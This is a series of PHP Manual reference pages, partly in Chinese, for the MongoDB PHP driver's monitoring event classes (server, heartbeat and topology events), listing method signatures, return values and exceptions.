  • ? MongoDB\Driver\Monitoring\CommandSucceededEvent::getServerConnectionId
  • MongoDB\Driver\Monitoring\ServerChangedEvent ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Returns the load balancer service ID for the command

MongoDB\Driver\Monitoring\CommandSucceededEvent::getServiceId

(mongodb >=1.11.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getServiceId — Returns the load balancer service ID for the command

说明

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getServiceId(): ?MongoDB\BSON\ObjectId

When the driver is connected to a MongoDB cluster through a load balancer, the service ID corresponds to the serviceId field in the hello command response.

参数

此函数没有参数。

返回值

Returns the load balancer service ID, or null if the driver is not connected to a load balancer.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\ServerChangedEvent class

(mongodb >=1.13.0)

简介

The MongoDB\Driver\Monitoring\ServerChangedEvent class encapsulates information about a changed server description.

类摘要

final class MongoDB\Driver\Monitoring\ServerChangedEvent {
/* 方法 */
final public getHost(): string
final public getNewDescription(): MongoDB\Driver\ServerDescription
final public getPort(): int
final public getPreviousDescription(): MongoDB\Driver\ServerDescription
final public getTopologyId(): MongoDB\BSON\ObjectId
}

Table of Contents

  • MongoDB\Driver\Monitoring\ServerChangedEvent::getHost — Returns the hostname of the server
  • MongoDB\Driver\Monitoring\ServerChangedEvent::getNewDescription — Returns the new description for the server
  • MongoDB\Driver\Monitoring\ServerChangedEvent::getPort — Returns the port on which this server is listening
  • MongoDB\Driver\Monitoring\ServerChangedEvent::getPreviousDescription — Returns the previous description for the server
  • MongoDB\Driver\Monitoring\ServerChangedEvent::getTopologyId — Returns the topology ID associated with this server

User Contributed Notes

There are no user contributed notes for this page.


Returns the hostname of the server

  • ? MongoDB\Driver\Monitoring\ServerChangedEvent
  • MongoDB\Driver\Monitoring\ServerChangedEvent::getNewDescription ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerChangedEvent
  • Returns the hostname of the server

MongoDB\Driver\Monitoring\ServerChangedEvent::getHost

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerChangedEvent::getHost — Returns the hostname of the server

说明

final public MongoDB\Driver\Monitoring\ServerChangedEvent::getHost(): string

参数

此函数没有参数。

返回值

Returns the hostname of the server.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the new description for the server

  • ? MongoDB\Driver\Monitoring\ServerChangedEvent::getHost
  • MongoDB\Driver\Monitoring\ServerChangedEvent::getPort ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerChangedEvent
  • Returns the new description for the server

MongoDB\Driver\Monitoring\ServerChangedEvent::getNewDescription

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerChangedEvent::getNewDescription — Returns the new description for the server

说明

final public MongoDB\Driver\Monitoring\ServerChangedEvent::getNewDescription(): MongoDB\Driver\ServerDescription

参数

此函数没有参数。

返回值

Returns the new MongoDB\Driver\ServerDescription for the server.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the port on which this server is listening

  • ? MongoDB\Driver\Monitoring\ServerChangedEvent::getNewDescription
  • MongoDB\Driver\Monitoring\ServerChangedEvent::getPreviousDescription ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerChangedEvent
  • Returns the port on which this server is listening

MongoDB\Driver\Monitoring\ServerChangedEvent::getPort

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerChangedEvent::getPort — Returns the port on which this server is listening

说明

final public MongoDB\Driver\Monitoring\ServerChangedEvent::getPort(): int

参数

此函数没有参数。

返回值

Returns the port on which this server is listening.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the previous description for the server

  • ? MongoDB\Driver\Monitoring\ServerChangedEvent::getPort
  • MongoDB\Driver\Monitoring\ServerChangedEvent::getTopologyId ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerChangedEvent
  • Returns the previous description for the server

MongoDB\Driver\Monitoring\ServerChangedEvent::getPreviousDescription

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerChangedEvent::getPreviousDescription — Returns the previous description for the server

说明

final public MongoDB\Driver\Monitoring\ServerChangedEvent::getPreviousDescription(): MongoDB\Driver\ServerDescription

参数

此函数没有参数。

返回值

Returns the previous MongoDB\Driver\ServerDescription for the server.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the topology ID associated with this server

  • ? MongoDB\Driver\Monitoring\ServerChangedEvent::getPreviousDescription
  • MongoDB\Driver\Monitoring\ServerClosedEvent ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerChangedEvent
  • Returns the topology ID associated with this server

MongoDB\Driver\Monitoring\ServerChangedEvent::getTopologyId

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerChangedEvent::getTopologyId — Returns the topology ID associated with this server

说明

final public MongoDB\Driver\Monitoring\ServerChangedEvent::getTopologyId(): MongoDB\BSON\ObjectId

参数

此函数没有参数。

返回值

Returns the topology ID.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\ServerClosedEvent class

(mongodb >=1.13.0)

简介

The MongoDB\Driver\Monitoring\ServerClosedEvent class encapsulates information about a closed server.

类摘要

final class MongoDB\Driver\Monitoring\ServerClosedEvent {
/* 方法 */
final public getHost(): string
final public getPort(): int
final public getTopologyId(): MongoDB\BSON\ObjectId
}

Table of Contents

  • MongoDB\Driver\Monitoring\ServerClosedEvent::getHost — Returns the hostname of the server
  • MongoDB\Driver\Monitoring\ServerClosedEvent::getPort — Returns the port on which this server is listening
  • MongoDB\Driver\Monitoring\ServerClosedEvent::getTopologyId — Returns the topology ID associated with this server

User Contributed Notes

There are no user contributed notes for this page.


Returns the hostname of the server

  • ? MongoDB\Driver\Monitoring\ServerClosedEvent
  • MongoDB\Driver\Monitoring\ServerClosedEvent::getPort ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerClosedEvent
  • Returns the hostname of the server

MongoDB\Driver\Monitoring\ServerClosedEvent::getHost

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerClosedEvent::getHost — Returns the hostname of the server

说明

final public MongoDB\Driver\Monitoring\ServerClosedEvent::getHost(): string

参数

此函数没有参数。

返回值

Returns the hostname of the server.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the port on which this server is listening

  • ? MongoDB\Driver\Monitoring\ServerClosedEvent::getHost
  • MongoDB\Driver\Monitoring\ServerClosedEvent::getTopologyId ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerClosedEvent
  • Returns the port on which this server is listening

MongoDB\Driver\Monitoring\ServerClosedEvent::getPort

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerClosedEvent::getPort — Returns the port on which this server is listening

说明

final public MongoDB\Driver\Monitoring\ServerClosedEvent::getPort(): int

参数

此函数没有参数。

返回值

Returns the port on which this server is listening.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the topology ID associated with this server

  • ? MongoDB\Driver\Monitoring\ServerClosedEvent::getPort
  • MongoDB\Driver\Monitoring\ServerOpeningEvent ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerClosedEvent
  • Returns the topology ID associated with this server

MongoDB\Driver\Monitoring\ServerClosedEvent::getTopologyId

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerClosedEvent::getTopologyId — Returns the topology ID associated with this server

说明

final public MongoDB\Driver\Monitoring\ServerClosedEvent::getTopologyId(): MongoDB\BSON\ObjectId

参数

此函数没有参数。

返回值

Returns the topology ID.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\ServerOpeningEvent class

(mongodb >=1.13.0)

简介

The MongoDB\Driver\Monitoring\ServerOpeningEvent class encapsulates information about an opened server.

类摘要

final class MongoDB\Driver\Monitoring\ServerOpeningEvent {
/* 方法 */
final public getHost(): string
final public getPort(): int
final public getTopologyId(): MongoDB\BSON\ObjectId
}

Table of Contents

  • MongoDB\Driver\Monitoring\ServerOpeningEvent::getHost — Returns the hostname of the server
  • MongoDB\Driver\Monitoring\ServerOpeningEvent::getPort — Returns the port on which this server is listening
  • MongoDB\Driver\Monitoring\ServerOpeningEvent::getTopologyId — Returns the topology ID associated with this server

User Contributed Notes

There are no user contributed notes for this page.


Returns the hostname of the server

  • ? MongoDB\Driver\Monitoring\ServerOpeningEvent
  • MongoDB\Driver\Monitoring\ServerOpeningEvent::getPort ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerOpeningEvent
  • Returns the hostname of the server

MongoDB\Driver\Monitoring\ServerOpeningEvent::getHost

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerOpeningEvent::getHost — Returns the hostname of the server

说明

final public MongoDB\Driver\Monitoring\ServerOpeningEvent::getHost(): string

参数

此函数没有参数。

返回值

Returns the hostname of the server.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the port on which this server is listening

  • ? MongoDB\Driver\Monitoring\ServerOpeningEvent::getHost
  • MongoDB\Driver\Monitoring\ServerOpeningEvent::getTopologyId ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerOpeningEvent
  • Returns the port on which this server is listening

MongoDB\Driver\Monitoring\ServerOpeningEvent::getPort

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerOpeningEvent::getPort — Returns the port on which this server is listening

说明

final public MongoDB\Driver\Monitoring\ServerOpeningEvent::getPort(): int

参数

此函数没有参数。

返回值

Returns the port on which this server is listening.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the topology ID associated with this server

  • ? MongoDB\Driver\Monitoring\ServerOpeningEvent::getPort
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerOpeningEvent
  • Returns the topology ID associated with this server

MongoDB\Driver\Monitoring\ServerOpeningEvent::getTopologyId

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerOpeningEvent::getTopologyId — Returns the topology ID associated with this server

说明

final public MongoDB\Driver\Monitoring\ServerOpeningEvent::getTopologyId(): MongoDB\BSON\ObjectId

参数

此函数没有参数。

返回值

Returns the topology ID.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent class

(mongodb >=1.13.0)

简介

The MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent class encapsulates information about a failed server heartbeat.

类摘要

final class MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent {
/* 方法 */
final public getDurationMicros(): int
final public getError(): Exception
final public getHost(): string
final public getPort(): int
final public isAwaited(): bool
}

Table of Contents

  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getDurationMicros — Returns the heartbeat's duration in microseconds
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getError — Returns the Exception associated with the failed heartbeat
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getHost — Returns the hostname of the server
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getPort — Returns the port on which this server is listening
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::isAwaited — Returns whether the heartbeat used a streaming protocol

User Contributed Notes

There are no user contributed notes for this page.


Returns the heartbeat's duration in microseconds

  • ? MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getError ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent
  • Returns the heartbeat's duration in microseconds

MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getDurationMicros

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getDurationMicros — Returns the heartbeat's duration in microseconds

说明

final public MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getDurationMicros(): int

The heartbeat's duration is a calculated value that includes the time to send the message and receive the reply from the server.

参数

此函数没有参数。

返回值

Returns the heartbeat's duration in microseconds.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the Exception associated with the failed heartbeat

  • ? MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getDurationMicros
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getHost ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent
  • Returns the Exception associated with the failed heartbeat

MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getError

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getError — Returns the Exception associated with the failed heartbeat

说明

final public MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getError(): Exception

参数

此函数没有参数。

返回值

Returns the Exception associated with the failed heartbeat.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the hostname of the server

  • ? MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getError
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getPort ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent
  • Returns the hostname of the server

MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getHost

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getHost — Returns the hostname of the server

说明

final public MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getHost(): string

参数

此函数没有参数。

返回值

Returns the hostname of the server.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the port on which this server is listening

  • ? MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getHost
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::isAwaited ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent
  • Returns the port on which this server is listening

MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getPort

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getPort — Returns the port on which this server is listening

说明

final public MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getPort(): int

参数

此函数没有参数。

返回值

Returns the port on which this server is listening.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the heartbeat used a streaming protocol

  • ? MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getPort
  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent
  • Returns whether the heartbeat used a streaming protocol

MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::isAwaited

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::isAwaited — Returns whether the heartbeat used a streaming protocol

说明

final public MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::isAwaited(): bool

Returns whether the heartbeat used a streaming protocol. The PHP driver does not use the streaming protocol for monitoring, so this method will always return false.

参数

此函数没有参数。

返回值

Returns false.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent class

(mongodb >=1.13.0)

简介

The MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent class encapsulates information about a started server heartbeat.

类摘要

final class MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent {
/* 方法 */
final public getHost(): string
final public getPort(): int
final public isAwaited(): bool
}

Table of Contents

  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getHost — Returns the hostname of the server
  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getPort — Returns the port on which this server is listening
  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::isAwaited — Returns whether the heartbeat used a streaming protocol

User Contributed Notes

There are no user contributed notes for this page.


Returns the hostname of the server

  • ? MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent
  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getPort ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent
  • Returns the hostname of the server

MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getHost

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getHost — Returns the hostname of the server

说明

final public MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getHost(): string

参数

此函数没有参数。

返回值

Returns the hostname of the server.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the port on which this server is listening

  • ? MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getHost
  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::isAwaited ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent
  • Returns the port on which this server is listening

MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getPort

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getPort — Returns the port on which this server is listening

说明

final public MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getPort(): int

参数

此函数没有参数。

返回值

Returns the port on which this server is listening.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the heartbeat used a streaming protocol

  • ? MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getPort
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent
  • Returns whether the heartbeat used a streaming protocol

MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::isAwaited

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::isAwaited — Returns whether the heartbeat used a streaming protocol

说明

final public MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::isAwaited(): bool

Returns whether the heartbeat used a streaming protocol. The PHP driver does not use the streaming protocol for monitoring, so this method will always return false.

参数

此函数没有参数。

返回值

Returns false.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent class

(mongodb >=1.13.0)

简介

The MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent class encapsulates information about a successful server heartbeat.

类摘要

final class MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent {
/* 方法 */
final public getDurationMicros(): int
final public getHost(): string
final public getPort(): int
final public getReply(): object
final public isAwaited(): bool
}

Table of Contents

  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getDurationMicros — Returns the heartbeat's duration in microseconds
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getHost — Returns the hostname of the server
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getPort — Returns the port on which this server is listening
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getReply — Returns the heartbeat reply document
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::isAwaited — Returns whether the heartbeat used a streaming protocol

User Contributed Notes

There are no user contributed notes for this page.


Returns the heartbeat's duration in microseconds

  • ? MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getHost ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent
  • Returns the heartbeat's duration in microseconds

MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getDurationMicros

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getDurationMicros — Returns the heartbeat's duration in microseconds

说明

final public MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getDurationMicros(): int

The heartbeat's duration is a calculated value that includes the time to send the message and receive the reply from the server.

参数

此函数没有参数。

返回值

Returns the heartbeat's duration in microseconds.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the hostname of the server

  • ? MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getDurationMicros
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getPort ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent
  • Returns the hostname of the server

MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getHost

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getHost — Returns the hostname of the server

说明

final public MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getHost(): string

参数

此函数没有参数。

返回值

Returns the hostname of the server.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the port on which this server is listening

  • ? MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getHost
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getReply ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent
  • Returns the port on which this server is listening

MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getPort

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getPort — Returns the port on which this server is listening

说明

final public MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getPort(): int

参数

此函数没有参数。

返回值

Returns the port on which this server is listening.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the heartbeat reply document

  • ? MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getPort
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::isAwaited ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent
  • Returns the heartbeat reply document

MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getReply

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getReply — Returns the heartbeat reply document

说明

final public MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getReply(): object

The reply document will be converted from BSON to PHP using the default deserialization rules (e.g. BSON documents will be converted to stdClass).

参数

此函数没有参数。

返回值

Returns the heartbeat reply document as a stdClass object.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • Application Performance Monitoring (APM)
  • Persisting Data

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the heartbeat used a streaming protocol

  • ? MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getReply
  • MongoDB\Driver\Monitoring\TopologyChangedEvent ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent
  • Returns whether the heartbeat used a streaming protocol

MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::isAwaited

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::isAwaited — Returns whether the heartbeat used a streaming protocol

说明

final public MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::isAwaited(): bool

Returns whether the heartbeat used a streaming protocol. The PHP driver does not use the streaming protocol for monitoring, so this method will always return false.

参数

此函数没有参数。

返回值

Returns false.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\TopologyChangedEvent class

(mongodb >=1.13.0)

简介

The MongoDB\Driver\Monitoring\TopologyChangedEvent class encapsulates information about a changed topology description.

类摘要

final class MongoDB\Driver\Monitoring\TopologyChangedEvent {
/* 方法 */
final public getNewDescription(): MongoDB\Driver\TopologyDescription
final public getPreviousDescription(): MongoDB\Driver\TopologyDescription
final public getTopologyId(): MongoDB\BSON\ObjectId
}

Table of Contents

  • MongoDB\Driver\Monitoring\TopologyChangedEvent::getNewDescription — Returns the new description for the topology
  • MongoDB\Driver\Monitoring\TopologyChangedEvent::getPreviousDescription — Returns the previous description for the topology
  • MongoDB\Driver\Monitoring\TopologyChangedEvent::getTopologyId — Returns the topology ID

User Contributed Notes

There are no user contributed notes for this page.


Returns the new description for the topology

  • ? MongoDB\Driver\Monitoring\TopologyChangedEvent
  • MongoDB\Driver\Monitoring\TopologyChangedEvent::getPreviousDescription ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\TopologyChangedEvent
  • Returns the new description for the topology

MongoDB\Driver\Monitoring\TopologyChangedEvent::getNewDescription

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\TopologyChangedEvent::getNewDescription — Returns the new description for the topology

说明

final public MongoDB\Driver\Monitoring\TopologyChangedEvent::getNewDescription(): MongoDB\Driver\TopologyDescription

参数

此函数没有参数。

返回值

Returns the new MongoDB\Driver\TopologyDescription for the topology.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the previous description for the topology

  • ? MongoDB\Driver\Monitoring\TopologyChangedEvent::getNewDescription
  • MongoDB\Driver\Monitoring\TopologyChangedEvent::getTopologyId ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\TopologyChangedEvent
  • Returns the previous description for the topology

MongoDB\Driver\Monitoring\TopologyChangedEvent::getPreviousDescription

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\TopologyChangedEvent::getPreviousDescription — Returns the previous description for the topology

说明

final public MongoDB\Driver\Monitoring\TopologyChangedEvent::getPreviousDescription(): MongoDB\Driver\TopologyDescription

参数

此函数没有参数。

返回值

Returns the previous MongoDB\Driver\TopologyDescription for the topology.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the topology ID

  • ? MongoDB\Driver\Monitoring\TopologyChangedEvent::getPreviousDescription
  • MongoDB\Driver\Monitoring\TopologyClosedEvent ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\TopologyChangedEvent
  • Returns the topology ID

MongoDB\Driver\Monitoring\TopologyChangedEvent::getTopologyId

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\TopologyChangedEvent::getTopologyId — Returns the topology ID

说明

final public MongoDB\Driver\Monitoring\TopologyChangedEvent::getTopologyId(): MongoDB\BSON\ObjectId

参数

此函数没有参数。

返回值

Returns the topology ID.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\TopologyClosedEvent class

(mongodb >=1.13.0)

简介

The MongoDB\Driver\Monitoring\TopologyClosedEvent class encapsulates information about a closed topology.

类摘要

final class MongoDB\Driver\Monitoring\TopologyClosedEvent {
/* 方法 */
final public getTopologyId(): MongoDB\BSON\ObjectId
}

Table of Contents

  • MongoDB\Driver\Monitoring\TopologyClosedEvent::getTopologyId — Returns the topology ID

User Contributed Notes

There are no user contributed notes for this page.


Returns the topology ID

  • ? MongoDB\Driver\Monitoring\TopologyClosedEvent
  • MongoDB\Driver\Monitoring\TopologyOpeningEvent ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\TopologyClosedEvent
  • Returns the topology ID

MongoDB\Driver\Monitoring\TopologyClosedEvent::getTopologyId

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\TopologyClosedEvent::getTopologyId — Returns the topology ID

说明

final public MongoDB\Driver\Monitoring\TopologyClosedEvent::getTopologyId(): MongoDB\BSON\ObjectId

参数

此函数没有参数。

返回值

Returns the topology ID.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\TopologyOpeningEvent class

(mongodb >=1.13.0)

简介

The MongoDB\Driver\Monitoring\TopologyOpeningEvent class encapsulates information about an opened topology.

类摘要

final class MongoDB\Driver\Monitoring\TopologyOpeningEvent {
/* 方法 */
final public getTopologyId(): MongoDB\BSON\ObjectId
}

Table of Contents

  • MongoDB\Driver\Monitoring\TopologyOpeningEvent::getTopologyId — Returns the topology ID

User Contributed Notes

There are no user contributed notes for this page.


Returns the topology ID

